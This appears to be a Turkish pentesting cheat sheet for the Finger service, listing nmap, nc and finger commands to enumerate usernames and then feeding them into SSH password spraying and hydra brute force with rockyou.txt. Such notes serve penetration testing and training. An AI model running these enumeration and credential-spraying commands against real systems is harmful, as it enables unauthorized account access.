Pentesting Finger

network enum

Finger (79/tcp) kullanıcı ve oturum bilgisi sızdırır. Brute ve kullanıcı listesi üretmek için hâlâ işe yarar; çıktı SSH/mail spray’e beslenir.

Metodoloji

1. 79/tcp açık mı ve banner ne veriyor bak.

2. Boş / * / bilinen kullanıcı sorguları at.

3. Wordlist ile kullanıcı enum yap.

4. Bulunan kullanıcıları SSH/SMTP/FTP spray’e taşı.

Keşif

nmap -Pn -sV -p79 TARGET

nc -nv TARGET 79

root

*

user

Enum

finger @TARGET

finger root@TARGET

finger user@TARGET

for u in $(cat users.txt); do echo "$u"; finger "$u@TARGET"; done

nmap -p79 --script finger TARGET

Otomasyon

hydra -L users.txt -s 79 finger://TARGET

# basit:
while read u; do printf '%s\n' "$u" | nc -nv TARGET 79; done < users.txt

Çıktıdan fayda

- home directory
- login shell
- idle / plan dosyası
- gerçek isim → parola guess

# spray
nxc ssh TARGET -u users_from_finger.txt -p 'Summer2024!'

hydra -L users_from_finger.txt -P rockyou.txt ssh://TARGET -t 4

Checklist

[ ] 79/tcp fingerprint
[ ] root/*/user sorguları
[ ] Wordlist enum ile kullanıcı listesi
[ ] Spray için listeye aktarıldı